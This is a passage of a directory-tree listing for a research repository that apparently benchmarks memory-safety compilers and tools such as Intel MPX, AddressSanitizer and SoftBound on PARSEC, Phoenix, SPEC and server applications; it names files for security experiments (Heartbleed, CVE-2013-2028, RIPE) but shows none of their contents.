├── .dockerignore ├── .editorconfig ├── .gitignore ├── CONTRIBUTORS ├── Dockerfile ├── LICENSE ├── Makefile ├── README.md ├── __init__.py ├── asm_measurements ├── README.md ├── _mpx.inc ├── _mpx.sh1 ├── data_dep.inc ├── data_dep.sh1 ├── get_framework.sh └── install.sh ├── config.py ├── core ├── __init__.py ├── abstract_config.py ├── collect.py ├── common_functions.py ├── draw.py ├── environment.py ├── prepare.py ├── run.py └── styles.py ├── experiments ├── __init__.py ├── apache │ ├── __init__.py │ ├── collect.py │ ├── plot.py │ └── run.py ├── apache_security │ ├── __init__.py │ ├── collect.py │ ├── heartbleed.py │ └── run.py ├── memcached │ ├── __init__.py │ ├── collect.py │ ├── plot.py │ └── run.py ├── memcached_security │ ├── __init__.py │ ├── collect.py │ └── run.py ├── mergedplots │ ├── __init__.py │ └── plot.py ├── micro │ ├── __init__.py │ ├── collect.py │ ├── plot.py │ └── run.py ├── nginx │ ├── __init__.py │ ├── collect.py │ ├── plot.py │ └── run.py ├── nginx_security │ ├── CVE-2013-2028.rb │ ├── __init__.py │ ├── collect.py │ └── run.py ├── parsec │ ├── __init__.py │ ├── collect.py │ ├── plot.py │ └── run.py ├── parsec_var_input │ ├── __init__.py │ ├── collect.py │ ├── plot.py │ └── run.py ├── phoenix │ ├── __init__.py │ ├── collect.py │ ├── plot.py │ └── run.py ├── phoenix_var_input │ ├── __init__.py │ ├── collect.py │ ├── create_inputs.sh │ ├── plot.py │ └── run.py └── ripe │ ├── LICENSE │ ├── __init__.py │ ├── collect.py │ ├── ripe_tester.py │ └── run.py ├── fex.py ├── install ├── benchmarks │ ├── apache.sh │ ├── memcached.sh │ ├── memcached │ │ └── memcached.1.4.15.patch │ ├── nginx.sh │ ├── parsec.sh │ ├── parsec │ │ ├── parsec-complete_20151117.patch │ │ └── parsec-hgignore │ └── phoenix.sh ├── common.sh ├── compilers │ ├── gcc-6.1.sh │ ├── llvm-3.8.0.sh │ ├── patch-icc.sh │ ├── pin-3.0.sh │ ├── pintool │ │ ├── LICENSE │ │ ├── Makefile │ │ ├── Makefile.rules │ │ └── mpxinscount.cpp │ ├── safecode-llvm-3.2.0.sh │ ├── safecode-llvm-3.7.0.sh │ ├── softbound-llvm-3.4.0.sh │ └── softbound-llvm-3.8.0.sh ├── dependencies │ ├── apache_libs.sh │ ├── binutils.sh │ ├── gdb.sh │ ├── gold-linker.sh │ ├── memslap.sh │ ├── parsec_inputs.sh │ ├── parsec_libs.sh │ ├── phoenix_inputs.sh │ └── ycsb_traces.sh └── libs │ └── README.md ├── makefiles ├── Makefile.clang_asan ├── Makefile.clang_asan_debug ├── Makefile.clang_asan_no_quarantine ├── Makefile.clang_native ├── Makefile.gcc_asan ├── Makefile.gcc_asan_debug ├── Makefile.gcc_asan_only_write ├── Makefile.gcc_mpx ├── Makefile.gcc_mpx_first_field ├── Makefile.gcc_mpx_no_narrow_bounds ├── Makefile.gcc_mpx_no_narrow_bounds_only_write ├── Makefile.gcc_mpx_only_write ├── Makefile.gcc_mpx_sw_disabled ├── Makefile.gcc_native ├── Makefile.icc_mpx ├── Makefile.icc_mpx_no_narrow_bounds ├── Makefile.icc_mpx_no_narrow_bounds_only_write ├── Makefile.icc_mpx_only_write ├── Makefile.icc_native ├── Makefile.icc_ptr ├── Makefile.safecode_enabled ├── Makefile.safecode_native ├── Makefile.softbound_enabled ├── Makefile.softbound_native ├── clang_constants.mk ├── clang_gold_constants.mk ├── common.mk ├── gcc_constants.mk ├── icc_constants.mk └── local.mk ├── raw_results ├── asm │ ├── data_dep.md │ └── mpx.md ├── casestudies │ ├── apache │ │ ├── perf │ │ │ ├── ipc.csv │ │ │ └── raw.csv │ │ ├── perf_cache │ │ │ ├── caches.csv │ │ │ └── raw.csv │ │ ├── raw.csv │ │ └── time │ │ │ └── raw.csv │ ├── memcached │ │ ├── perf │ │ │ ├── ipc.csv │ │ │ └── raw.csv │ │ ├── perf_cache │ │ │ ├── caches.csv │ │ │ └── raw.csv │ │ ├── raw.csv │ │ └── time │ │ │ └── raw.csv │ ├── nginx │ │ ├── perf │ │ │ ├── ipc.csv │ │ │ └── raw.csv │ │ ├── perf_cache │ │ │ ├── caches.csv │ │ │ └── raw.csv │ │ ├── raw.csv │ │ └── time │ │ │ └── raw.csv │ └── raw.csv ├── merged │ ├── cache.csv │ ├── instr.csv │ ├── ipc.csv │ ├── mem.csv │ ├── mpx_feature_mem.csv │ ├── mpx_feature_perf.csv │ ├── mpxcount.csv │ ├── multithreading.csv │ └── perf.csv ├── micro │ └── raw.csv ├── mpx_instructions │ ├── parsec_blackscholes │ │ └── raw.csv │ ├── parsec_bodytrack │ │ └── raw.csv │ ├── parsec_canneal │ │ └── raw.csv │ ├── parsec_dedup │ │ └── raw.csv │ ├── parsec_facesim │ │ └── raw.csv │ ├── parsec_ferret │ │ └── raw.csv │ ├── parsec_fluidanimate │ │ └── raw.csv │ ├── parsec_raytrace │ │ └── raw.csv │ ├── parsec_streamcluster │ │ └── raw.csv │ ├── parsec_swaptions │ │ └── raw.csv │ ├── parsec_x264 │ │ ├── NOTE │ │ ├── raw.csv │ │ └── raw.original.csv │ ├── spec_astar │ │ └── raw.csv │ ├── spec_bzip2 │ │ └── raw.csv │ ├── spec_dealII │ │ └── raw.csv │ ├── spec_gcc │ │ └── raw.csv │ ├── spec_gobmk │ │ └── raw.csv │ ├── spec_h264ref │ │ └── raw.csv │ ├── spec_hmmer │ │ └── raw.csv │ ├── spec_lbm │ │ └── raw.csv │ ├── spec_libquantum │ │ └── raw.csv │ ├── spec_mcf │ │ └── raw.csv │ ├── spec_milc │ │ └── raw.csv │ ├── spec_namd │ │ └── raw.csv │ ├── spec_omnetpp │ │ └── raw.csv │ ├── spec_perlbench │ │ └── raw.csv │ ├── spec_povray │ │ └── raw.csv │ ├── spec_sjeng │ │ └── raw.csv │ ├── spec_soplex │ │ └── raw.csv │ ├── spec_sphinx3 │ │ └── raw.csv │ └── spec_xalancbmk │ │ └── raw.csv ├── parsec │ ├── __vips │ │ ├── raw_vips_cache.csv │ │ ├── raw_vips_mem.csv │ │ ├── raw_vips_multithreading.csv │ │ └── raw_vips_perf.csv │ ├── cache.csv │ ├── cache.csv.original │ ├── ku_instructions.csv │ ├── mem.csv │ ├── mpx_instructions.csv │ ├── multithreading.csv │ ├── perf.csv │ ├── var_input_mem.csv │ └── var_input_perf.csv ├── phoenix │ ├── cache.csv │ ├── ku_instructions.csv │ ├── mem.csv │ ├── mpx_instructions.csv │ ├── multithreading.csv │ ├── perf.csv │ ├── var_input_mem.csv │ └── var_input_perf.csv ├── ports │ ├── beautifier.R │ ├── parsec_perf │ │ ├── beauty.csv │ │ └── raw.csv │ ├── phoenix_perf │ │ ├── beauty.csv │ │ └── raw.csv │ └── spec_perf │ │ ├── beauty.csv │ │ └── raw.csv ├── ripe │ ├── mpx_bndpreserve0_nofirstfieldownbounds │ │ └── raw.csv │ └── raw.csv ├── secureusable │ ├── collect.R │ ├── draw.py │ ├── parsec │ │ └── raw.csv │ ├── parsec_bndpreserve1 │ │ └── raw.csv │ ├── phoenix │ │ └── raw.csv │ ├── phoenix_bndpreserve1 │ │ └── raw.csv │ ├── raw.csv │ ├── raw2.csv │ ├── ripe │ │ └── raw.csv │ ├── spec │ │ └── raw.csv │ └── spec_bndpreserve1 │ │ └── raw.csv └── spec │ ├── README │ ├── cache.csv │ ├── ku_instructions.csv │ ├── mem.csv │ ├── mpx_instructions.csv │ ├── perf.csv │ ├── var_input_mem.csv │ └── var_input_perf.csv ├── scripts ├── allplots.sh ├── csvmerge.py └── process_stats.py ├── src ├── applications │ ├── apache │ │ └── Makefile │ ├── nginx │ │ └── Makefile │ └── ripe │ │ ├── LICENSE │ │ ├── Makefile │ │ ├── README │ │ └── src │ │ ├── ripe_attack_generator.c │ │ ├── ripe_attack_generator.h │ │ ├── ripe_attack_generator_64.c │ │ └── ripe_attack_parameters.h ├── libs │ ├── README.md │ ├── apr-util │ │ ├── LICENSE │ │ ├── Makefile │ │ └── NOTICE │ ├── apr │ │ ├── LICENSE │ │ ├── Makefile │ │ └── NOTICE │ ├── distclean-all.sh │ ├── glib │ │ ├── LICENSE │ │ └── Makefile │ ├── gsl │ │ ├── Makefile │ │ └── README │ ├── libevent │ │ ├── LICENSE │ │ └── Makefile │ ├── libjpeg │ │ ├── LICENSE │ │ └── Makefile │ ├── libxml2 │ │ ├── COPYING │ │ ├── Copyright │ │ └── Makefile │ ├── mesa │ │ ├── LICENSE │ │ └── Makefile │ ├── pcre │ │ ├── LICENCE │ │ └── Makefile │ ├── ssl │ │ ├── LICENSE │ │ └── Makefile │ └── zlib │ │ ├── Makefile │ │ └── README ├── micro │ ├── acceptance │ │ ├── arbitrarycasts │ │ │ ├── Makefile │ │ │ └── arbitrarycasts.c │ │ ├── globalarrayread │ │ │ ├── Makefile │ │ │ └── globalarrayread.c │ │ ├── globalarraywrite │ │ │ ├── Makefile │ │ │ └── globalarraywrite.c │ │ ├── malloc │ │ │ ├── Makefile │ │ │ └── malloc.c │ │ ├── missing_return_value │ │ │ ├── README.md │ │ │ └── main.c │ │ ├── multithreading │ │ │ ├── Makefile │ │ │ └── multithreading.c │ │ ├── narrowing │ │ │ ├── Makefile │ │ │ └── narrowing.c │ │ ├── stackarrayread │ │ │ ├── Makefile │ │ │ └── stackarrayread.c │ │ └── stackarraywrite │ │ │ ├── Makefile │ │ │ └── stackarraywrite.c │ ├── arrayread │ │ ├── Makefile │ │ └── arrayread.c │ ├── arraywrite │ │ ├── Makefile │ │ └── arraywrite.c │ ├── funccalls │ │ ├── Makefile │ │ └── funccalls.c │ ├── mallocs │ │ ├── Makefile │ │ └── mallocs.c │ ├── multithreading_fn │ │ ├── Makefile │ │ └── multithreading_fn.c │ ├── multithreading_fp │ │ ├── Makefile │ │ └── multithreading_fp.c │ ├── perf │ │ ├── arrayread │ │ │ ├── Makefile │ │ │ └── arrayread.c │ │ ├── arraywrite │ │ │ ├── Makefile │ │ │ └── arraywrite.c │ │ ├── funccalls │ │ │ ├── Makefile │ │ │ └── funccalls.c │ │ ├── mallocs │ │ │ ├── Makefile │ │ │ └── mallocs.c │ │ ├── multithreading_fn │ │ │ ├── Makefile │ │ │ └── multithreading_fn.c │ │ ├── multithreading_fp │ │ │ ├── Makefile │ │ │ └── multithreading_fp.c │ │ ├── ptrcreation │ │ │ ├── Makefile │ │ │ └── ptrcreation.c │ │ ├── struct │ │ │ ├── Makefile │ │ │ └── struct.c │ │ └── table_allocation │ │ │ ├── Makefile │ │ │ └── table_allocation.c │ ├── ptrcreation │ │ ├── Makefile │ │ └── ptrcreation.c │ ├── struct │ │ ├── Makefile │ │ └── struct.c │ └── table_allocation │ │ ├── Makefile │ │ └── table_allocation.c ├── parsec │ ├── LICENSE │ ├── README.md │ ├── blackscholes │ │ ├── Makefile │ │ └── src │ │ │ └── blackscholes.cpp │ ├── bodytrack │ │ ├── Makefile │ │ └── src │ │ │ ├── AnnealingFactor.cpp │ │ │ ├── AnnealingFactor.h │ │ │ ├── AsyncIO.cpp │ │ │ ├── AsyncIO.h │ │ │ ├── BodyGeometry.cpp │ │ │ ├── BodyGeometry.h │ │ │ ├── BodyPose.cpp │ │ │ ├── BodyPose.h │ │ │ ├── CameraModel.cpp │ │ │ ├── CameraModel.h │ │ │ ├── CovarianceMatrix.cpp │ │ │ ├── CovarianceMatrix.h │ │ │ ├── DMatrix.h │ │ │ ├── FlexImageLib │ │ │ ├── BinaryImage.h │ │ │ ├── FlexColor.h │ │ │ ├── FlexDataExchange.h │ │ │ ├── FlexDefs.h │ │ │ ├── FlexDraw.h │ │ │ ├── FlexFilter.h │ │ │ ├── FlexIO.cpp │ │ │ ├── FlexIO.h │ │ │ ├── FlexImage.cpp │ │ │ ├── FlexImage.h │ │ │ ├── FlexImageStatus.h │ │ │ ├── FlexImageStore.h │ │ │ ├── FlexLib.h │ │ │ ├── FlexOperators.h │ │ │ ├── FlexThreshold.h │ │ │ ├── FlexTransform.h │ │ │ └── Makefile │ │ │ ├── ImageMeasurements.cpp │ │ │ ├── ImageMeasurements.h │ │ │ ├── ImageProjection.cpp │ │ │ ├── ImageProjection.h │ │ │ ├── ParticleFilter.h │ │ │ ├── ParticleFilterOMP.h │ │ │ ├── ParticleFilterPthread.h │ │ │ ├── ParticleFilterTBB.h │ │ │ ├── RandomGenerator.cpp │ │ │ ├── RandomGenerator.h │ │ │ ├── SmallVectors.h │ │ │ ├── TBBtypes.h │ │ │ ├── TrackingModel.cpp │ │ │ ├── TrackingModel.h │ │ │ ├── TrackingModelOMP.cpp │ │ │ ├── TrackingModelOMP.h │ │ │ ├── TrackingModelPthread.cpp │ │ │ ├── TrackingModelPthread.h │ │ │ ├── TrackingModelTBB.cpp │ │ │ ├── TrackingModelTBB.h │ │ │ ├── Vector3.h │ │ │ ├── WorkPoolPthread.h │ │ │ ├── config.h │ │ │ ├── main.cpp │ │ │ ├── subdirs_common.mk │ │ │ ├── system.h │ │ │ └── threads │ │ │ ├── Barrier.cpp │ │ │ ├── Barrier.h │ │ │ ├── Condition.cpp │ │ │ ├── Condition.h │ │ │ ├── LockTypes.h │ │ │ ├── Makefile │ │ │ ├── Mutex.cpp │ │ │ ├── Mutex.h │ │ │ ├── RWLock.cpp │ │ │ ├── RWLock.h │ │ │ ├── SynchQueue.h │ │ │ ├── Thread.cpp │ │ │ ├── Thread.h │ │ │ ├── ThreadGroup.cpp │ │ │ ├── ThreadGroup.h │ │ │ ├── TicketDispenser.h │ │ │ ├── WorkerGroup.cpp │ │ │ ├── WorkerGroup.h │ │ │ └── atomic │ │ │ ├── amd64 │ │ │ └── atomic.h │ │ │ ├── atomic.h │ │ │ ├── i386 │ │ │ └── atomic.h │ │ │ ├── ia64 │ │ │ └── atomic.h │ │ │ ├── powerpc │ │ │ ├── atomic.h │ │ │ └── cpufunc.h │ │ │ └── sparc │ │ │ ├── asi.h │ │ │ ├── atomic.h │ │ │ └── cpufunc.h │ ├── canneal │ │ ├── Makefile │ │ └── src │ │ │ ├── AtomicPtr.h │ │ │ ├── MersenneTwister.h │ │ │ ├── annealer_thread.cpp │ │ │ ├── annealer_thread.h │ │ │ ├── annealer_types.h │ │ │ ├── atomic │ │ │ ├── alpha │ │ │ │ └── atomic.h │ │ │ ├── amd64 │ │ │ │ └── atomic.h │ │ │ ├── atomic.h │ │ │ ├── i386 │ │ │ │ └── atomic.h │ │ │ ├── ia64 │ │ │ │ └── atomic.h │ │ │ ├── powerpc │ │ │ │ └── atomic.h │ │ │ └── sparc │ │ │ │ ├── asi.h │ │ │ │ ├── atomic.h │ │ │ │ └── cpufunc.h │ │ │ ├── location_t.h │ │ │ ├── main.cpp │ │ │ ├── netlist.cpp │ │ │ ├── netlist.h │ │ │ ├── netlist_elem.cpp │ │ │ ├── netlist_elem.h │ │ │ ├── rng.cpp │ │ │ └── rng.h │ ├── dedup │ │ ├── Makefile │ │ └── src │ │ │ ├── binheap.c │ │ │ ├── binheap.h │ │ │ ├── config.h │ │ │ ├── debug.h │ │ │ ├── decoder.c │ │ │ ├── decoder.h │ │ │ ├── dedup.c │ │ │ ├── dedupdef.h │ │ │ ├── encoder.c │ │ │ ├── encoder.h │ │ │ ├── hashtable.c │ │ │ ├── hashtable.h │ │ │ ├── hashtable_private.h │ │ │ ├── include │ │ │ ├── openssl │ │ │ │ ├── aes.h │ │ │ │ ├── asn1.h │ │ │ │ ├── asn1_mac.h │ │ │ │ ├── asn1t.h │ │ │ │ ├── bio.h │ │ │ │ ├── blowfish.h │ │ │ │ ├── bn.h │ │ │ │ ├── buffer.h │ │ │ │ ├── cast.h │ │ │ │ ├── comp.h │ │ │ │ ├── conf.h │ │ │ │ ├── conf_api.h │ │ │ │ ├── crypto.h │ │ │ │ ├── des.h │ │ │ │ ├── des_old.h │ │ │ │ ├── dh.h │ │ │ │ ├── dsa.h │ │ │ │ ├── dso.h │ │ │ │ ├── dtls1.h │ │ │ │ ├── e_os2.h │ │ │ │ ├── ebcdic.h │ │ │ │ ├── ec.h │ │ │ │ ├── ecdh.h │ │ │ │ ├── ecdsa.h │ │ │ │ ├── engine.h │ │ │ │ ├── err.h │ │ │ │ ├── evp.h │ │ │ │ ├── fips.h │ │ │ │ ├── fips_rand.h │ │ │ │ ├── hmac.h │ │ │ │ ├── idea.h │ │ │ │ ├── krb5_asn.h │ │ │ │ ├── kssl.h │ │ │ │ ├── lhash.h │ │ │ │ ├── md2.h │ │ │ │ ├── md4.h │ │ │ │ ├── md5.h │ │ │ │ ├── obj_mac.h │ │ │ │ ├── objects.h │ │ │ │ ├── ocsp.h │ │ │ │ ├── opensslconf.h │ │ │ │ ├── opensslv.h │ │ │ │ ├── ossl_typ.h │ │ │ │ ├── pem.h │ │ │ │ ├── pem2.h │ │ │ │ ├── pkcs12.h │ │ │ │ ├── pkcs7.h │ │ │ │ ├── pq_compat.h │ │ │ │ ├── pqueue.h │ │ │ │ ├── rand.h │ │ │ │ ├── rc2.h │ │ │ │ ├── rc4.h │ │ │ │ ├── ripemd.h │ │ │ │ ├── rsa.h │ │ │ │ ├── safestack.h │ │ │ │ ├── sha.h │ │ │ │ ├── ssl.h │ │ │ │ ├── ssl2.h │ │ │ │ ├── ssl23.h │ │ │ │ ├── ssl3.h │ │ │ │ ├── stack.h │ │ │ │ ├── store.h │ │ │ │ ├── symhacks.h │ │ │ │ ├── tls1.h │ │ │ │ ├── tmdiff.h │ │ │ │ ├── txt_db.h │ │ │ │ ├── ui.h │ │ │ │ ├── ui_compat.h │ │ │ │ ├── x509.h │ │ │ │ ├── x509_vfy.h │ │ │ │ └── x509v3.h │ │ │ ├── zconf.h │ │ │ └── zlib.h │ │ │ ├── queue.c │ │ │ ├── queue.h │ │ │ ├── rabin.c │ │ │ ├── rabin.h │ │ │ ├── tree.c │ │ │ ├── tree.h │ │ │ ├── util.c │ │ │ └── util.h │ ├── facesim │ │ ├── Makefile │ │ └── src │ │ │ ├── ACTIVATION_CONTROL_SET.h │ │ │ ├── ATTACHMENT_FRAME_CONTROL_SET.h │ │ │ ├── FACE_CONTROL_PARAMETERS.h │ │ │ ├── FACE_CONTROL_SET.h │ │ │ ├── FACE_DRIVER.cpp │ │ │ ├── FACE_DRIVER.h │ │ │ ├── FACE_EXAMPLE.h │ │ │ ├── FACE_LANDMARK_OPTIMIZATION_GOAL.cpp │ │ │ ├── FACE_LANDMARK_OPTIMIZATION_GOAL.h │ │ │ ├── FACE_OPTIMIZATION.cpp │ │ │ ├── FACE_OPTIMIZATION.h │ │ │ ├── FACE_OPTIMIZATION_GOAL.h │ │ │ ├── GLOBAL_FRAME_CONTROL_SET.h │ │ │ ├── LANDMARK_3D.h │ │ │ ├── LANDMARK_PROXIMITY_OPTIMIZATION.cpp │ │ │ ├── LANDMARK_PROXIMITY_OPTIMIZATION.h │ │ │ ├── Public_Library │ │ │ ├── Arrays │ │ │ │ ├── ARRAY.h │ │ │ │ ├── ARRAYS.h │ │ │ │ ├── ARRAYS_1D.h │ │ │ │ ├── ARRAYS_2D.h │ │ │ │ ├── ARRAYS_3D.h │ │ │ │ ├── ARRAYS_RANGE.h │ │ │ │ ├── ARRAY_PARALLEL_OPERATIONS.cpp │ │ │ │ ├── ARRAY_PARALLEL_OPERATIONS.h │ │ │ │ ├── ARRAY_RANGE.h │ │ │ │ ├── LIST_ARRAY.h │ │ │ │ └── LIST_ARRAYS.h │ │ │ ├── Collisions_And_Interactions │ │ │ │ ├── BOX_HIERARCHY.cpp │ │ │ │ ├── BOX_HIERARCHY.h │ │ │ │ ├── COLLISION_BODY_3D.h │ │ │ │ ├── COLLISION_BODY_LIST_3D.cpp │ │ │ │ ├── COLLISION_BODY_LIST_3D.h │ │ │ │ ├── COLLISION_PENALTY_FORCES.h │ │ │ │ ├── PARTICLE_PARTITION.h │ │ │ │ ├── TETRAHEDRON_COLLISION_BODY.cpp │ │ │ │ ├── TETRAHEDRON_COLLISION_BODY.h │ │ │ │ ├── TETRAHEDRON_HIERARCHY.cpp │ │ │ │ └── TETRAHEDRON_HIERARCHY.h │ │ │ ├── Constitutive_Models │ │ │ │ ├── CONSTITUTIVE_MODEL_3D.h │ │ │ │ ├── DIAGONALIZED_CONSTITUTIVE_MODEL_3D.h │ │ │ │ ├── DIAGONALIZED_FACE_3D.h │ │ │ │ ├── DIAGONALIZED_ISOTROPIC_STRESS_DERIVATIVE_3D.h │ │ │ │ ├── STRAIN_MEASURE_3D.cpp │ │ │ │ └── STRAIN_MEASURE_3D.h │ │ │ ├── Data_Structures │ │ │ │ ├── DYNAMIC_LIST.h │ │ │ │ ├── HASHTABLE_2D.h │ │ │ │ ├── HASHTABLE_3D.h │ │ │ │ ├── PAIR.h │ │ │ │ ├── QUEUE.h │ │ │ │ ├── SPLAY_TREE.cpp │ │ │ │ ├── SPLAY_TREE.h │ │ │ │ ├── SPLAY_TREE_NODE.h │ │ │ │ ├── STACK.h │ │ │ │ └── UNION_FIND.h │ │ │ ├── Deformable_Objects │ │ │ │ ├── DEFORMABLE_OBJECT.cpp │ │ │ │ ├── DEFORMABLE_OBJECT.h │ │ │ │ ├── DEFORMABLE_OBJECT_3D.cpp │ │ │ │ ├── DEFORMABLE_OBJECT_3D.h │ │ │ │ ├── DEFORMABLE_OBJECT_COLLISIONS.h │ │ │ │ ├── DEFORMABLE_OBJECT_COLLISIONS_3D.cpp │ │ │ │ ├── DEFORMABLE_OBJECT_COLLISIONS_3D.h │ │ │ │ └── DEFORMABLE_OBJECT_LIST_3D.h │ │ │ ├── Forces_And_Torques │ │ │ │ ├── BODY_FORCES_3D.cpp │ │ │ │ ├── BODY_FORCES_3D.h │ │ │ │ ├── DIAGONALIZED_FINITE_VOLUME_3D.cpp │ │ │ │ ├── DIAGONALIZED_FINITE_VOLUME_3D.h │ │ │ │ ├── DIAGONALIZED_SEMI_IMPLICIT_ELEMENT_3D.h │ │ │ │ ├── EXTERNAL_FORCES_AND_VELOCITIES.h │ │ │ │ └── SOLIDS_FORCES.h │ │ │ ├── Fracture │ │ │ │ ├── EMBEDDED_TETRAHEDRALIZED_VOLUME_BOUNDARY_SURFACE.cpp │ │ │ │ └── EMBEDDED_TETRAHEDRALIZED_VOLUME_BOUNDARY_SURFACE.h │ │ │ ├── Geometry │ │ │ │ ├── BOX_2D.cpp │ │ │ │ ├── BOX_2D.h │ │ │ │ ├── BOX_3D.cpp │ │ │ │ ├── BOX_3D.h │ │ │ │ ├── EMBEDDED_OBJECT.cpp │ │ │ │ ├── EMBEDDED_OBJECT.h │ │ │ │ ├── EMBEDDED_TETRAHEDRALIZED_VOLUME.cpp │ │ │ │ ├── EMBEDDED_TETRAHEDRALIZED_VOLUME.h │ │ │ │ ├── IMPLICIT_SURFACE.cpp │ │ │ │ ├── IMPLICIT_SURFACE.h │ │ │ │ ├── IMPLICIT_SURFACE_LIST.cpp │ │ │ │ ├── IMPLICIT_SURFACE_LIST.h │ │ │ │ ├── LEVELSET_IMPLICIT_SURFACE.h │ │ │ │ ├── ORIENTED_BOX_2D.h │ │ │ │ ├── ORIENTED_BOX_3D.h │ │ │ │ ├── PLANE.cpp │ │ │ │ ├── PLANE.h │ │ │ │ ├── POLYGON.h │ │ │ │ ├── RAY_2D.h │ │ │ │ ├── RAY_3D.h │ │ │ │ ├── SEGMENTED_CURVE_3D.cpp │ │ │ │ ├── SEGMENTED_CURVE_3D.h │ │ │ │ ├── SEGMENT_2D.cpp │ │ │ │ ├── SEGMENT_2D.h │ │ │ │ ├── SEGMENT_3D.cpp │ │ │ │ ├── SEGMENT_3D.h │ │ │ │ ├── TETRAHEDRALIZED_VOLUME.cpp │ │ │ │ ├── TETRAHEDRALIZED_VOLUME.h │ │ │ │ ├── TETRAHEDRALIZED_VOLUME_LIST.cpp │ │ │ │ ├── TETRAHEDRALIZED_VOLUME_LIST.h │ │ │ │ ├── TETRAHEDRON.cpp │ │ │ │ ├── TETRAHEDRON.h │ │ │ │ ├── TRIANGLE_3D.cpp │ │ │ │ ├── TRIANGLE_3D.h │ │ │ │ ├── TRIANGULATED_OBJECT.cpp │ │ │ │ ├── TRIANGULATED_OBJECT.h │ │ │ │ ├── TRIANGULATED_SURFACE.cpp │ │ │ │ ├── TRIANGULATED_SURFACE.h │ │ │ │ ├── TRIANGULATED_SURFACE_LIST.cpp │ │ │ │ └── TRIANGULATED_SURFACE_LIST.h │ │ │ ├── Grids │ │ │ │ ├── GRID_1D.h │ │ │ │ ├── GRID_2D.h │ │ │ │ ├── GRID_3D.h │ │ │ │ ├── SEGMENT_MESH.cpp │ │ │ │ ├── SEGMENT_MESH.h │ │ │ │ ├── TETRAHEDRON_MESH.cpp │ │ │ │ ├── TETRAHEDRON_MESH.h │ │ │ │ ├── TRIANGLE_MESH.cpp │ │ │ │ └── TRIANGLE_MESH.h │ │ │ ├── Interpolation │ │ │ │ ├── INTERPOLATION.h │ │ │ │ └── LINEAR_INTERPOLATION.h │ │ │ ├── Level_Sets │ │ │ │ ├── LEVELSET.cpp │ │ │ │ ├── LEVELSET.h │ │ │ │ ├── LEVELSET_3D.cpp │ │ │ │ └── LEVELSET_3D.h │ │ │ ├── Makefile │ │ │ ├── Makefile.PhysBAM │ │ │ ├── Makefile.common │ │ │ ├── Math_Tools │ │ │ │ ├── abs.h │ │ │ │ ├── clamp.h │ │ │ │ ├── constants.h │ │ │ │ ├── exchange.h │ │ │ │ ├── exchange_sort.h │ │ │ │ ├── hash_function.h │ │ │ │ ├── max.h │ │ │ │ ├── maxabs.h │ │ │ │ ├── maxmag.h │ │ │ │ ├── min.h │ │ │ │ ├── minmag.h │ │ │ │ ├── sign.h │ │ │ │ └── sqr.h │ │ │ ├── Matrices_And_Vectors │ │ │ │ ├── DIAGONAL_MATRIX_2X2.h │ │ │ │ ├── DIAGONAL_MATRIX_3X3.h │ │ │ │ ├── FRAME.h │ │ │ │ ├── MATRIX_2X2.h │ │ │ │ ├── MATRIX_3X2.h │ │ │ │ ├── MATRIX_3X3.cpp │ │ │ │ ├── MATRIX_3X3.h │ │ │ │ ├── MATRIX_3X3_wrapper.h │ │ │ │ ├── MATRIX_4X4.h │ │ │ │ ├── MATRIX_MXN.h │ │ │ │ ├── MATRIX_NXN.h │ │ │ │ ├── QUATERNION.h │ │ │ │ ├── SYMMETRIC_MATRIX_2X2.h │ │ │ │ ├── SYMMETRIC_MATRIX_3X3.cpp │ │ │ │ ├── SYMMETRIC_MATRIX_3X3.h │ │ │ │ ├── UPPER_TRIANGULAR_MATRIX_2X2.h │ │ │ │ ├── UPPER_TRIANGULAR_MATRIX_3X3.h │ │ │ │ ├── VECTOR_1D.h │ │ │ │ ├── VECTOR_2D.h │ │ │ │ ├── VECTOR_3D.h │ │ │ │ ├── VECTOR_ND.h │ │ │ │ ├── VECTOR_ND_PARALLEL.cpp │ │ │ │ └── VECTOR_ND_PARALLEL.h │ │ │ ├── Particles │ │ │ │ ├── PARTICLE.cpp │ │ │ │ ├── PARTICLE.h │ │ │ │ ├── PARTICLE_ATTRIBUTE.h │ │ │ │ ├── PARTICLE_ATTRIBUTE_COLLECTION.h │ │ │ │ ├── PARTICLE_ATTRIBUTE_COLLECTION_MAP.h │ │ │ │ ├── PARTICLE_ATTRIBUTE_UNTEMPLATIZED.h │ │ │ │ ├── PARTICLE_MASS_ATTRIBUTE.h │ │ │ │ ├── PARTICLE_POSITION_ATTRIBUTE.h │ │ │ │ ├── PARTICLE_VELOCITY_ATTRIBUTE.h │ │ │ │ ├── SOLIDS_PARTICLE.cpp │ │ │ │ └── SOLIDS_PARTICLE.h │ │ │ ├── Read_Write │ │ │ │ ├── FILE_UTILITIES.cpp │ │ │ │ ├── FILE_UTILITIES.h │ │ │ │ └── READ_WRITE_FUNCTIONS.h │ │ │ ├── Rigid_Bodies │ │ │ │ ├── MASS_PROPERTIES_3D.cpp │ │ │ │ ├── MASS_PROPERTIES_3D.h │ │ │ │ ├── RIGID_BODY_3D.cpp │ │ │ │ ├── RIGID_BODY_3D.h │ │ │ │ ├── RIGID_BODY_BOUNDING_VOLUMES.h │ │ │ │ ├── RIGID_BODY_COLLISIONS.h │ │ │ │ ├── RIGID_BODY_COLLISIONS_3D.cpp │ │ │ │ ├── RIGID_BODY_COLLISIONS_3D.h │ │ │ │ ├── RIGID_BODY_COLLISION_MANAGER.h │ │ │ │ ├── RIGID_BODY_EVOLUTION.h │ │ │ │ ├── RIGID_BODY_EVOLUTION_3D.cpp │ │ │ │ ├── RIGID_BODY_EVOLUTION_3D.h │ │ │ │ ├── RIGID_BODY_INTERSECTIONS_3D.cpp │ │ │ │ ├── RIGID_BODY_INTERSECTIONS_3D.h │ │ │ │ ├── RIGID_BODY_LIST_3D.cpp │ │ │ │ ├── RIGID_BODY_LIST_3D.h │ │ │ │ ├── RIGID_BODY_SKIP_COLLISION_CHECK.h │ │ │ │ ├── RIGID_BODY_SPATIAL_PARTITION_3D.h │ │ │ │ └── RIGID_BODY_STATE_3D.h │ │ │ ├── Solids_And_Fluids │ │ │ │ ├── DEFORMABLE_BODY_PARAMETERS.h │ │ │ │ ├── DEFORMABLE_BODY_PARAMETERS_3D.h │ │ │ │ ├── RIGID_BODY_PARAMETERS.h │ │ │ │ ├── RIGID_BODY_PARAMETERS_3D.h │ │ │ │ ├── RIGID_BODY_PARAMETERS_CALLBACKS.h │ │ │ │ ├── SOLIDS_EVOLUTION_3D.cpp │ │ │ │ ├── SOLIDS_EVOLUTION_3D.h │ │ │ │ ├── SOLIDS_EVOLUTION_CALLBACKS.h │ │ │ │ ├── SOLIDS_FLUIDS_DRIVER.cpp │ │ │ │ ├── SOLIDS_FLUIDS_DRIVER.h │ │ │ │ ├── 